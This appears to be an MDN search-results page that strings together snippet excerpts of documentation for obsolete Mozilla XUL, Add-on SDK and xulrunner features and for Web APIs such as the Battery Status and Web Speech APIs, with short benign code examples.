this module should not be confused with the "chrome" global variable that webextensions can use to access apis.
... the chrome module gives an add-on sdk add-on access to the components object, which in turn gives it access to a large set of privileged low-level firefox apis.
... chrome is a built-in pseudo module of the toolkit loader.
... see the chrome authority tutorial for more details.
Using XPCOM without chrome - Archive of obsolete content
using sdk xpcom with the low-level module sdk/platform/xpcom , it's possible to exclude chrome and xpcomutils in some cases.
... examples bookmarks observer normally, a bookmark observer would require chrome components and xpcomutils as described in the following links: (observing changes to bookmarks and tags) , (creating event targets).
... below is an example, where we extend the xpcom module's unknown class with an nsinavbookmarkobserverinterface and one of its optional interface methods (onitemchanged).
... // this removes the need to import ci and the xpcomutils const { class } = require("sdk/core/heritage"); const { unknown } = require('sdk/platform/xpcom'); const { placesutils } = require("resource://gre/modules/placesutils.jsm"); let bmlistener = class({ extends: unknown, interfaces: [ "nsinavbookmarkobserver" ], //this event most often handles all events onitemchanged: function(bid, prop, an, nv, lm, type, parentid, aguid, aparentguid) { console.log("onitemchanged", "bid: "+bid, "property: "+prop, "isanno: "+an, "new value: "+nv, "lastmod: "+lm, "type: "+type, "parentid:"+parentid, "aguid:"+aguid);0 // code to handle the event here } }); //we just have a class, but need an object.
levelchange - Archive of obsolete content
the levelchange event is fired when the level attribute of the battery api has changed.
... property type description batterymanager.level double (float) the system's battery charging level scaled from 0 to 1.0.
...returns 1.0 if the battery is full, if the implementation is unable to report the battery's level, or if there is no battery attached to the system.
... example navigator.getbattery().then(function(battery) { console.log("battery level: " + battery.level * 100 + " %"); battery.addeventlistener('levelchange', function() { console.log("battery level: " + battery.level * 100 + " %"); }); }); related events chargingchange chargingtimechange dischargingtimechange ...
The Download Manager schema - Archive of obsolete content
the current database schema version is 8.
... this information is available using nsidownloadmanager methods to retrieve nsidownload objects for each download entry; however, if you feel like poking directly into the table, you can do so using the storage api.
... the schema table field name type description id integer a unique id for the download.
... entityid text the entity id from the nsiresumablechannel used to implement the download channel.
XTech 2006 Presentations - Archive of obsolete content
javascript 2 and the future of the web - brendan eich javascript 2 will be finalised in 2007.
... layout algorithm improvements for web user interfaces (slides, slides as one page) - david baron a discussion of problems with existing standards and potential improvements in two areas: layout systems for user interfaces (rather than documents) and mechanisms for reordering content to allow the author to use good markup and appropriate layout.
... svg and canvas: graphics for web apps - vladimir vukićević this presentation examines some of the strengths and weaknesses of the html 'canvas' and svg for adding rich graphical capabilities to web applications.
... converging rich-client and web application development with mozilla xulrunner (open office format) - benjamin smedberg this presentation demonstrates the convergence of rich-client and web application development and discuss application deployment using mozilla xulrunner.
-ms-content-zoom-chaining - Archive of obsolete content
the -ms-content-zoom-chaining css property is a microsoft extension specifying the zoom behavior that occurs when a user hits the zoom limit during page manipulation.
... chained the nearest zoomable parent element begins zooming when the user hits a zoom limit during page manipulation.
... formal syntax none | chained specifications not part of any specification.
... starting with windows 8.1, this property is also supported for touchpad interaction.
-ms-hyphenate-limit-chars - Archive of obsolete content
the -ms-hyphenate-limit-chars css property is a microsoft extension that specifies one to three values indicating the minimum number of characters in a hyphenated word.
... if the word does not meet the required minimum number of characters in the word, before the hyphen, or after the hyphen, then the word is not hyphenated.
... initial valueautoapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values auto corresponds to a value of 5 2 2, indicating a 5-character word limit, 2 characters required before a hyphenation break, and 2 characters required following a hyphenation break.
... <integer>{1,3} one to three integer values, corresponding to the word limit, the minimum number of characters required before a hyphenation break, and the minimum number of characters required following a hyphenation break, respectively.
BatteryManager.onchargingchange - Web APIs
specifies an event listener to receive chargingchange events.
... these events occur when the battery charging state is updated.
... syntax battery.onchargingchange = funcref where battery is a batterymanager object, and funcref is a function to be called when the chargingchange event occurs.
... example html content <div id="level">(battery level unknown)</div> <div id="chargingtime">(charging time unknown)</div> javascript content navigator.getbattery().then(function(battery) { battery.onchargingchange = chargingchange(); function chargingchange() { document.queryselector('#level').textcontent = battery.level; document.queryselector('#chargingtime').textcontent = battery.chargingtime; } }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.onchargingtimechange - Web APIs
specifies an event listener to receive chargingtimechange events.
... these events occur when the battery chargingtime is updated.
... syntax battery.onchargingtimechange = funcref where battery is a batterymanager object, and funcref is a function to be called when the chargingtimechange event occurs.
... example html content <div id="level">(battery level unknown)</div> <div id="chargingtime">(charging time unknown)</div> javascript content navigator.getbattery().then(function(battery) { battery.onchargingtimechange = chargingtimechange(); function chargingtimechange(){ document.queryselector('#level').textcontent = battery.level; document.queryselector('#chargingtime').textcontent = battery.chargingtime; } }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.ondischargingtimechange - Web APIs
specifies an event listener to receive dischargingtimechange events.
... these events occur when the battery dischargingtime is updated.
... syntax battery.ondischargingtimechange = funcref where battery is a batterymanager object, and funcref is a function to be called when the dischargingtimechange event occurs.
... example html content <div id="level">(battery level unknown)</div> <div id="chargingtime">(charging time unknown)</div> javascript content navigator.getbattery().then(function(battery) { battery.ondischargingtimechange = dischargingtimechange; function dischargingtimechange(){ document.queryselector('#level').textcontent = battery.level; document.queryselector('#chargingtime').textcontent = battery.chargingtime; } }); specifications specification status comment battery status api candidate recommendation initial definition ...
RTCDataChannelEvent.channel - Web APIs
the read-only property rtcdatachannelevent.channel returns the rtcdatachannel associated with the event.
... syntax var channel = rtcdatachannelevent.channel; value a rtcdatachannel object representing the data channel linking the receiving rtcpeerconnection to its remote peer.
... example the first line of code in the datachannel event handler shown below takes the channel from the event object and saves it locally for use by the code handling data traffic.
... pc.ondatachannel = function(event) { inbounddatachannel = event.channel; inbounddatachannel.onmessage = handleincomingmessage; inbounddatachannel.onopen = handlechannelopen; inbounddatachannel.onclose = handlechannelclose; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannelevent.channel' in that specification.
SpeechGrammar.SpeechGrammar() - Web APIs
the speechgrammar constructor of the speechgrammar interface creates a new speechgrammar object instance.
... syntax var myspeechgrammar = new speechgrammar(); parameters none.
... examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var newgrammar = new speechgrammar(); newgrammar.src = '#jsgf v1.0; grammar names; public <name> = chris | kirsty | mike;' speechrecog...
...nitionlist[1] = newgrammar; // should add the new speechgrammar object to the list specifications specification status comment web speech apithe definition of 'speechgrammar()' in that specification.
SpeechGrammarList.SpeechGrammarList() - Web APIs
the speechgrammarlist() constructor creates a new speechgrammarlist object instance.
... syntax var mygrammarlist = new speechgrammarlist(); parameters none.
... examples in our simple speech color changer example, we create a new speechrecognition object instance using the speechrecognition() constructor, create a new speechgrammarlist, add our grammar string to it using the speechgrammarlist.addfromstring method, and set it to be the grammar that will be recognised by the speechrecognition instance using the speechrecognition.grammars property.
... var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; specifications specification status comment web speech apithe definition of 'speechgrammarlist' in that specification.
SpeechRecognition.onnomatch - Web APIs
the onnomatch property of the speechrecognition interface represents an event handler that will run when the speech recognition service returns a final result with no significant recognition (when the nomatch event fires.) this may involve some degree of recognition, which doesn't meet or exceed the confidence threshold.
... note: the onnomatch handler does not yet work properly in firefox — the speech recognition system always returns a positive match, and then guesses at what item in the grammar it found.
... syntax myspeechrecognition.onnomatch = function() { ...
... }; examples var recognition = new speechrecognition(); recognition.onnomatch = function() { console.log('speech not recognised'); } specifications specification status comment web speech apithe definition of 'onnomatch' in that specification.
XUL School Tutorial - Archive of obsolete content
xul school is a comprehensive add-on development tutorial, focusing on firefox extension development.
...while firefox changes rapidly, the content in this tutorial should be up to date and valid.
... the box model xpcom objects observer notifications custom xul elements with xbl mozilla documentation roadmap useful mozilla community sites appendices appendix a: add-on performance appendix b: install and uninstall scripts appendix c: avoiding using eval in add-ons appendix d: loading scripts appendix e: dom building and html insertion appendix f: monitoring dom changes the xul school project was developed by appcoast (formerly glaxstar).
cached - Archive of obsolete content
the cached event is fired when the resources listed in the application cache manifest have been downloaded, and the application is now cached.
... general info specification offline interface event bubbles no cancelable no target applicationcache default action none properties property type description target eventtarget (dom element) the event target (the topmost target in the dom tree).
... related events checking noupdate downloading progress cached updateready obsolete error ...
checking - Archive of obsolete content
the checking event is fired when the user agent is checking for an update, or attempting to download the cache manifest for the first time.
... general info specification offline interface event bubbles no cancelable no target applicationcache default action none properties property type description target eventtarget (dom element) the event target (the topmost target in the dom tree).
... related events checking noupdate downloading progress cached updateready obsolete error ...
Enabling quicklaunch for all users - Archive of obsolete content
enabling quicklaunch for all users unlike all other settings, quicklaunch is stored in the windows registry.
... to enable it, just load the following registry script into the user's windows registry: quicklaunch.reg.
... this can be performed automatically by including the following command into the windows logon script: regedit /s \\server\netlogon\reg\quicklaunch.reg ...
Plugin Architecture - Archive of obsolete content
no released product uses this specific architecture.
...the described sequences are subject to change at any time.
... classes there are some classes involved in plugins: nsobjectloadingcontent embed, object and applet nodes inherit from that class, which provides services for loading various kinds of objects.
URIScheme - Archive of obsolete content
list of mozilla supported uri schemes list of uri schemes http:// by default, port 80 https:// by default, port 443 (ssl) ftp:// by default, port 21 file:// : file:///etc/hosts on unix/linux, file:///c:/some/file.txt on windows.
...and the size number by 1 to 127 mailto:emailaddress@domain.com about: chrome:// ...
... preferences see gecko.handlerservice.schemes.* scripting interface see nsiprotocolhandler to create a new protocol/scheme.
autocheck - Archive of obsolete content
« xul reference home autocheck type: boolean if this attribute is true or left out, the checked state of the button will be switched each time the button is pressed.
... if this attribute is false, the checked state must be adjusted manually.
... when autocheck is true, the button type should be "checkbox" or "radio".
onchange - Archive of obsolete content
« xul reference home overview an onchange attribute is an event listener to the object for the event change.
... a change event is fired in different ways for different xul input elements as listed below: onchange type: script code textbox when enter key is pressed radio/check box when the state is changed select list when the selected item is changed what is accessible the script context at this point can only access the following things: global values/functions i.e.
... window, document, or any of the functions/objects/variables bound to the window object event object example <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="text/javascript"> function myfunction(e){ /* do something cool here or just say the below */ alert(e.target.nodename); } </script> <textbox id="find-text" onchange="return myfunction(event);"/> </window> ...
searchlabel - Archive of obsolete content
« xul reference home searchlabel type: string text used for 'find-as-you-type' (fayt) searching.
... in situations where the search text is ambiguous or missing, searchlabel can be used to give context to fayt.
... if searchlabel is not present, fayt falls back to use the label property.
treechildren - Archive of obsolete content
bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata example <tree flex="1"> <treecols> <treecol id="sender" label="sender" flex="1"/> <treecol id="subject" label="subject" flex="2"/> </treecols> <treechildren> <treeitem> <treerow> <treecell label="joe@somewhere.com"/> <treecell label="top secret plans"/> </treerow> </treeitem> <treeitem> <treerow> <treecell label="mel@whereever...
....com"/> <treecell label="let's do lunch"/> </treerow> </treeitem> </treechildren> </tree> related elements tree, treecols, treecol, treeitem, treerow, treecell and treeseparator.
toolkit.defaultChromeURI - Archive of obsolete content
type: string specified by: default prefs of xulrunner applications default: none example: pref("toolkit.defaultchromeuri", "chrome://myapp/content/"); the toolkit.defaultchromeuri preference allows simple xulrunner-based applications to open a new window when the application is launched.
... the preference specifies the uri of a chrome window to be opened.
... see also: xulrunner:specifying startup chrome window, toolkit.defaultchromefeatures, toolkit.singletonwindowtype.
xulauncher - Archive of obsolete content
#!/bin/bash -e # a simple bash script to create a minimal xulrunner dir structure and # needed meta files in /tmp, copy the xul-file over and start it # usage: # xulauncher xulfile.xul [options] ############################################################################## # check if theres atleast one parameter ############################################################################## if [ $# -lt 1 ] then echo "you need to give the xul file as first parameter" exit fi # check if 1st parameter is a file ############################################################################## if [ !
... -f "$1" ] then echo "\"$1\" is not a file" exit fi # define some variables ############################################################################## wd=/tmp ext=".xul" xulfile=`basename $1` xulname=${xulfile%$ext} xuldir="$wd/$xulname/chrome/$xulname/" xulprefdir="$wd/$xulname/defaults/preferences" xulappini="$wd/$xulname/application.ini" xulmanifest="$wd/$xulname/chrome/chrome.manifest" xulprefs="$wd/$xulname/defaults/preferences/prefs.js" # make minimal directory structure ############################################################################## mkdir -p $xuldir mkdir -p $xulprefdir # create application.ini file ############################################################################## echo " [app] vendor=xulauncher.sh name=$xulname version=0.0.1 buildid=`date +%y%m...
...%d` [gecko] minversion=1.8 maxversion=1.9 ">$xulappini # create chrome.manifest file ############################################################################## echo " content $xulname file:$xulname/ ">$xulmanifest # create prefs.js file ############################################################################## echo " pref(\"toolkit.defaultchromeuri\", \"chrome://$xulname/content/$xulfile\"); /* debugging prefs */ pref(\"browser.dom.window.dump.enabled\", true); pref(\"javascript.options.showinconsole\", true); pref(\"javascript.options.strict\", true); pref(\"nglayout.debug.disable_xul_cache\", true); pref(\"nglayout.debug.disable_xul_fastload\", true); ">$xulprefs # copy xul file to right location and run it #######################################################################...
Multi-process plugin architecture - Archive of obsolete content
when plugins run in the same process as the browser, any leaks or crashes in the plugin will affect the entire browser: in order to make the browser user experience better, it is possible to separate plugin execution from the process in which the browser normally executes.
... when multi-process plugins are enabled, a shim layer in the browser implements the plugin api (the npp_ functions which would normally be implemented directly by the plugin).
...in addition to crash protection, the multi-process plugin architecture allows firefox to see plugins which respond very slowly or have completely stopped responding.
:-moz-system-metric(touch-enabled) - Archive of obsolete content
the :-moz-system-metric(touch-enabled) css pseudo-class will match an element if the device on which the content is being rendered offers a supported touch-screen interface.
...to xul / chrome code).
...use the -moz-touch-enabled media query instead.
-moz-touch-enabled - Archive of obsolete content
syntax <integer> if the device supports touch events (for a touch screen), this is 1.
... media: media/visual accepts min/max prefixes: no example you might use this feature to render your buttons slightly larger if the user is on a touch-screen device, to make them more finger-friendly.
... button { padding: .5em; } @media (-moz-touch-enabled) { button { padding: 1em; } } ...
ChromeWorkers and the Chrome worker loader
to complement the open web worker functionality, mozilla has introduced the chromeworker interface, which provides this capability within application chrome.
... this documentation covers chrome workers and the chrome worker module loader.
... chrome worker modulesthe preferred way to define and load modules for chrome workers is to use the chrome worker module loader.
SpeechRecognition: nomatch event - Web APIs
the nomatch event of the web speech api is fired when the speech recognition service returns a final result with no significant recognition.
... this may involve some degree of recognition, which doesn't meet or exceed the confidence threshold.
... bubbles no cancelable no interface speechrecognitionevent event handler property onnomatch examples you can use the nomatch event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('nomatch', function() { console.log('speech not recognized'); }); or use the onnomatch event handler property: recognition.onnomatch = function() { console.log('speech not recognized'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechSynthesis: voiceschanged event - Web APIs
the voiceschanged event of the web speech api is fired when the list of speechsynthesisvoice objects that would be returned by the speechsynthesis.getvoices() method has changed (when the voiceschanged event fires.) bubbles no cancelable no interface event event handler property onvoiceschanged examples this could be used to repopulate a list of voices that the user can choose between when the event fires.
... you can use the voiceschanged event in an addeventlistener method: var synth = window.speechsynthesis; synth.addeventlistener('voiceschanged', function() { var voices = synth.getvoices(); for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } }); or use the onvoiceschanged event handler property: synth.onvoiceschanged = function() { var voices = synth.getvoices(); for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; opti...
...on.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } } specifications specification status comment web speech apithe definition of 'speech synthesis events' in that specification.
SpeechSynthesisEvent.charIndex - Web APIs
the charindex read-only property of the speechsynthesisutterance interface returns the index position of the character in the speechsynthesisutterance.text that was being spoken when the event was triggered.
... syntax event.charindex; value a number.
... examples utterthis.onpause = function(event) { var char = event.utterance.text.charat(event.charindex); console.log('speech paused at character ' + event.charindex + ' of "' + event.utterance.text + '", which is "' + char + '".'); } specifications specification status comment web speech apithe definition of 'charindex' in that specification.
URLSearchParams.forEach() - Web APIs
the foreach() method of the urlsearchparams interface allows iteration through all values contained in this object via a callback function.
... syntax searchparams.foreach(callback); parameters callback a callback function that is executed against each parameter, with the param value provided as its parameter.
... examples // create a test urlsearchparams object var searchparams = new urlsearchparams("key1=value1&key2=value2"); // log the values searchparams.foreach(function(value, key) { console.log(value, key); }); the result is: value1 key1 value2 key2 specifications specification status comment urlthe definition of 'foreach() (see "iterable")' in that specification.
Devmo 1.0 Launch Roadmap - Archive of obsolete content
comments, ideas, questions and other discussion should be added on the devmo talk:1.0 launch roadmap page.
... design document items things that need to happen prior to a devmo 1.0 launch...
InstallTrigger.installChrome - Archive of obsolete content
installtrigger.installchrome trigger scripts are typically invoked by javascript event handlers on hyperlinks.
...<a href="#" onclick="installtrigger.installchrome( installtrigger.skin, 'http://wildskins/newblue.xpi', 'newblue/1.0');"> install the new blue theme</a> ...
searchbutton - Archive of obsolete content
« xul reference home searchbutton type: boolean if true, the search field will only fire a command event when the user presses the search button or presses the enter key.
...this attribute only applies to textboxes with the type search.
checked - Archive of obsolete content
« xul reference home checked type: boolean indicates whether the element is checked or not.
... for buttons, the type attribute must be set to checkbox or radio for this attribute to have any effect.
chromemargin - Archive of obsolete content
« xul reference home chromemargin type: margin string controls the amount of chrome that should be visible on each side of the window.
...this value may be -1 to use the default margin for that side on the current platform, 0 to have no system border (that is, to extend the client area to the edge of the window), or a value greater than zero to indicate how much less than the default default width you wish the margin on that side to be.
disablechrome - Archive of obsolete content
« xul reference home disablechrome type: boolean set this attribute to true to disable chrome in the window.
... this is used to hide chrome when showing in-browser ui such as the about:addons page, and causes the toolbars to be hidden, with only the tab strip (and, if currently displayed, the add-on bar) left showing.
textbox.onchange - Archive of obsolete content
« xul reference home onchange type: script code this event is sent when the value of the textbox is changed.
... see also onchange ...
RadioStateChange - Archive of obsolete content
the radiostatechange event is executed when the state of a <radio> element has changed.
... related events checkboxstatechange valuechange ...
ValueChange - Archive of obsolete content
the valuechange event is executed when the value of an element, <progress> for example, has changed.
... related events checkboxstatechange radiostatechange ...
getSearchAt - Archive of obsolete content
« xul reference home getsearchat( index ) return type: string returns the search component with the given index.
... the components are set with the autocompletesearch attribute.
child - Archive of obsolete content
ArchiveMozillaXULPropertychild
« xul reference child type: ?
... a variable reference to a node that is expected to be a child of the element that is referred to by the container element.
documentCharsetInfo - Archive of obsolete content
« xul reference documentcharsetinfo obsolete since gecko 12.0 type: nsidocumentcharsetinfo this read-only property contains the nsidocumentcharsetinfo object for the document which is used to handle which character set should be used to display the document.
... the properties of the nsidocumentcharsetinfo object were merged into the docshell in gecko 12.0 (firefox 12.0 / thunderbird 12.0 / seamonkey 2.9).
firstPermanentChild - Archive of obsolete content
« xul reference firstpermanentchild not in seamonkey 1.x type: element the first permanent child of the toolbar.
... a permanent child is one that is not customizable and remains on the toolbar.
lastPermanentChild - Archive of obsolete content
« xul reference lastpermanentchild not in seamonkey 1.x type: element the last permanent child of the toolbar.
... a permanent child is one that is not customizable and remains on the toolbar.
richlistitem.label - Archive of obsolete content
« xul reference label type: string gets the concatentation of text from any child label elements.
...use the child elements directly to set label text.
Make your xulrunner app match the system locale - Archive of obsolete content
the code described lives in the pybridge component's onstartup method which gets called automatically.
... from xpcom import components ps_cls = components.classes["@mozilla.org/preferences-service;1"] ps = ps_cls.getservice(components.interfaces.nsiprefservice) branch = ps.getbranch("general.useragent.") branch.setcharpref("locale", lang) i also set the language environment variable to match the system locale so that python's gettext functionality will work (it pulls straight from language instead of using setlocale): os.environ["language"] = lang ...
toolkit.defaultChromeFeatures - Archive of obsolete content
type: string specified by: default prefs of xulrunner applications default: "chrome,dialog=no,all" example: pref("toolkit.defaultchromefeatures", "chrome,resizable=no,dialog=no"); the toolkit.defaultchromefeatures preference allows simple xulrunner-based applications to specify what features are passed to window.open() when the main application window is opened.
... see also: xulrunner:specifying startup chrome window, dom:window.open, toolkit.defaultchromeuri, toolkit.singletonwindowtype.
Summary of Changes - Archive of obsolete content
for a complete discussion of these items, see the sections in which they are described.
...e.value ie5+ inputname.value dom level 1: document.forms["formname"].inputname.value ie5+ formctrlname dom level 1: document.forms["formname"].formctrlname ie5+ document.forms(0) dom level 1: document.forms[0] ie elemref.innertext dom level 1 (core) interface we could introduce dom 3 core textcontent attribute here which is supported by mozilla 1.5+ and is a perfect equivalent to innertext.
SpeechRecognition.onspeechend - Web APIs
the onspeechend property of the speechrecognition interface represents an event handler that will run when speech recognised by the speech recognition service has stopped being detected (when the speechend event fires.) syntax myspeechrecognition.onspeechend = function() { ...
... }; examples recognition.onspeechend = function() { console.log('speech has stopped being detected'); } specifications specification status comment web speech apithe definition of 'onspeechend' in that specification.
SpeechRecognition.onspeechstart - Web APIs
the onspeechstart property of the speechrecognition interface represents an event handler that will run when sound recognised by the speech recognition service as speech has been detected (when the speechstart event fires.) syntax myspeechrecognition.onspeechstart = function() { ...
... }; examples recognition.onspeechstart = function() { console.log('speech has been detected'); } specifications specification status comment web speech apithe definition of 'onspeechstart' in that specification.
SpeechRecognition: speechend event - Web APIs
the speechend event of the web speech api is fired when speech recognized by the speech recognition service has stopped being detected.
... bubbles no cancelable no interface event event handler property onspeechend examples you can use the speechend event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('speechend', function() { console.log('speech has stopped being detected'); }); or use the onspeechend event handler property: recognition.onspeechend = function() { console.log('speech has stopped being detected'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition: speechstart event - Web APIs
the speechstart event of the web speech api is fired when sound recognized by the speech recognition service as speech has been detected.
... bubbles no cancelable no interface event event handler property onspeechstart examples you can use the speechstart event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('speechstart', function() { console.log('speech has been detected'); }); or use the onspeechstart event handler property: recognition.onspeechstart = function() { console.log('speech has been detected'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
chrome.manifest - Archive of obsolete content
copy the following text and paste it into a text file, then save that file as "chrome.manifest": skin global my_theme jar:chrome/my_theme.jar!/global/ skin mozapps my_theme jar:chrome/my_theme.jar!/mozapps/ skin messenger my_theme jar:chrome/my_theme.jar!/messenger/ skin messenger-newsblog my_theme jar:chrome/my_theme.jar!/messenger-newsblog/ skin communicator my_theme jar:chrome/my_theme.jar!/communicator/ skin help my_theme jar:chrome/my_theme.jar!/help/ skin navigator my_theme jar:chrome/my_theme.jar!/navigator/ skin editor my_theme jar:chrome/my_theme.jar!/editor/ ...
Archived SpiderMonkey docs - Archive of obsolete content
between resolving conflicts, finding a good time to land, watching the tree, and marking bugs as fixed, it takes around half a day.spidermonkey coding conventionsthe spidermonkey project owners enforce coding conventions pretty strictly during code reviews.
highlightnonmatches - Archive of obsolete content
« xul reference home highlightnonmatches new in thunderbird 3 requires seamonkey 2.0 type: boolean if true, then the autocomplete field will be highlighted when no match has been found.
matchcaseaccesskey - Archive of obsolete content
« xul reference home matchcaseaccesskey type: string the access key for the "match case" checkbox in the findbar.
autoFillAfterMatch - Archive of obsolete content
« xul reference home autofillaftermatch obsolete since gecko 1.9.1 type: boolean if set to true, the entire text of the best match will be displayed at the end of the input.
autocompletesearchparam - Archive of obsolete content
« xul reference home autocompletesearchparam new in thunderbird 3 requires seamonkey 1.1 type: string a string which is passed to the search component.
checkbox.src - Archive of obsolete content
« xul reference home src type: uri set this to an uri pointing to an image to appear in the checkbox.
hidechrome - Archive of obsolete content
« xul reference home hidechrome type: boolean set this attribute to true to have the chrome including the titlebar hidden.
ignoreblurwhilesearching - Archive of obsolete content
« xul reference home ignoreblurwhilesearching new in thunderbird 3requires seamonkey 2.0 type: boolean if true, blur events are ignored while searching, which means that the autocomplete popup will not disappear.
nomatch - Archive of obsolete content
« xul reference home nomatch type: boolean this attribute will be set to true if the last search resulted in no matches.
onsearchbegin - Archive of obsolete content
« xul reference home onsearchbegin type: script code this event handler is called when the autocomplete search begins.
onsearchcomplete - Archive of obsolete content
« xul reference home onsearchcomplete new in thunderbird 3requires seamonkey 2.0 type: script code this event handler is called when the autocomplete search is finished and results are available.
textbox.ignoreBlurWhileSearching - Archive of obsolete content
« xul reference home ignoreblurwhilesearching obsolete since gecko 1.9.1 type: boolean if true, blur events are ignored while searching, which means that the autocomplete popup will not disappear.
checkAdjacentElement - Archive of obsolete content
« xul reference home checkadjacentelement( dir ) return type: no return value deselects the currently selected radio button in the group and selects the one adjacent to it.
onSearchComplete - Archive of obsolete content
« xul reference home onsearchcomplete() return type: no return value calls the onsearchcomplete event handler.
highlightNonMatches - Archive of obsolete content
« xul reference highlightnonmatches new in thunderbird 1 requires seamonkey 1.0 type: boolean gets and sets the value of the highlightnonmatches attribute.
searchButton - Archive of obsolete content
« xul reference searchbutton type: boolean gets and sets the value of the searchbutton attribute.
anchorNode - Archive of obsolete content
« xul reference anchornode type: nsidomelement this read-only property holds the dom node that was specified as the anchor when opening the popup.
autoCheck - Archive of obsolete content
« xul reference autocheck type: boolean gets and sets the value of the autocheck attribute.
autoFillAfterMatch - Archive of obsolete content
« xul reference autofillaftermatch obsolete since gecko 1.9.1 type: boolean gets and sets the value of the autofillaftermatch attribute.
checkState - Archive of obsolete content
« xul reference checkstate type: integer, values 0, 1, or 2 gets and sets the value of the checkstate attribute.
checked - Archive of obsolete content
« xul reference checked type: boolean gets and sets the value of the checked attribute.
children - Archive of obsolete content
« xul reference children type: array of elements returns the list of items in the richlistbox.
ignoreBlurWhileSearching - Archive of obsolete content
« xul reference ignoreblurwhilesearching type: boolean gets and sets the value of the ignoreblurwhilesearching (or ignoreblurwhilesearching) attribute.
isSearching - Archive of obsolete content
« xul reference issearching type: boolean this property is set to true while a search is occuring.
noMatch - Archive of obsolete content
« xul reference nomatch type: boolean this property will be set to true if the last search resulted in no matches.
searchCount - Archive of obsolete content
« xul reference searchcount new in thunderbird 15 requires seamonkey 2.12 type: integer returns the number of search components used.
searchLabel - Archive of obsolete content
« xul reference searchlabel type: string gets and sets the value of the searchlabel attribute.
searchParam - Archive of obsolete content
« xul reference searchparam new in thunderbird 15 requires seamonkey 2.12 type: string gets and sets the value of the autocompletesearchparam attribute.
searchSessions - Archive of obsolete content
« xul reference searchsessions obsolete since gecko 26 type: space-separated list of session names gets the value of the searchsessions attribute.
chromeclass-toolbar - Archive of obsolete content
« xul reference home chromeclass-toolbar when this class is used, the toolbar will be hidden when a window is opened by setting the toolbar option to no in the window.open method.
appendChild - Archive of obsolete content
node appendchild ( node newchild ) ...
Index - Archive of obsolete content
found 3833 pages: # page tags and summary 1 archive of obsolete content archive, landing here at mdn, we try to avoid outright deleting content that might be useful to people targeting legacy platforms, operating systems, and browsers.
... 2 .htaccess ( hypertext access ) 301 redirect, cache control, custom error pages, htaccess, permanent redirect, redirect file accessing : htaccess files can be opened using any text editor, like windows notepad, vin, sublime text editor or any other.
... 3 2015 mdn fellowship program 2015, archive, fellowship no summary!
...And 673 more matches
Index - Archive of obsolete content
ArchiveMozillaXULIndex
this is a special type of button which is drawn differently.
... 3 a xul bestiary add-ons, extensions, needstechnicalreview, xul this xulnote presents some of the key concepts and terms in the xul development environment.
...in contrast to the mozilla jargon file, this article describes items of specific interest to the web or content developer looking to establish a context for understanding mozilla's new technologies -- and in particular mozilla's xml-based user interface language, xul.
...And 238 more matches
StringView - Archive of obsolete content
the aims of this library are: to create a c-like interface for strings (i.e., an array of character codes — an arraybufferview in javascript) based upon the javascript arraybuffer interface to create a highly extensible library that anyone can extend by adding methods to the object stringview.prototype to create a collection of methods for such string-like objects (since now: stringviews) which work strictly on arrays of numbers rather than on creating new immutable javascript strings to work with unicode encodings other than javascript's default utf-16 domstrings introduction as web applications become more and more powerful, adding features such as audio and video manipulation, access to raw data using websockets, and so forth, it has become clear that there are times wh...
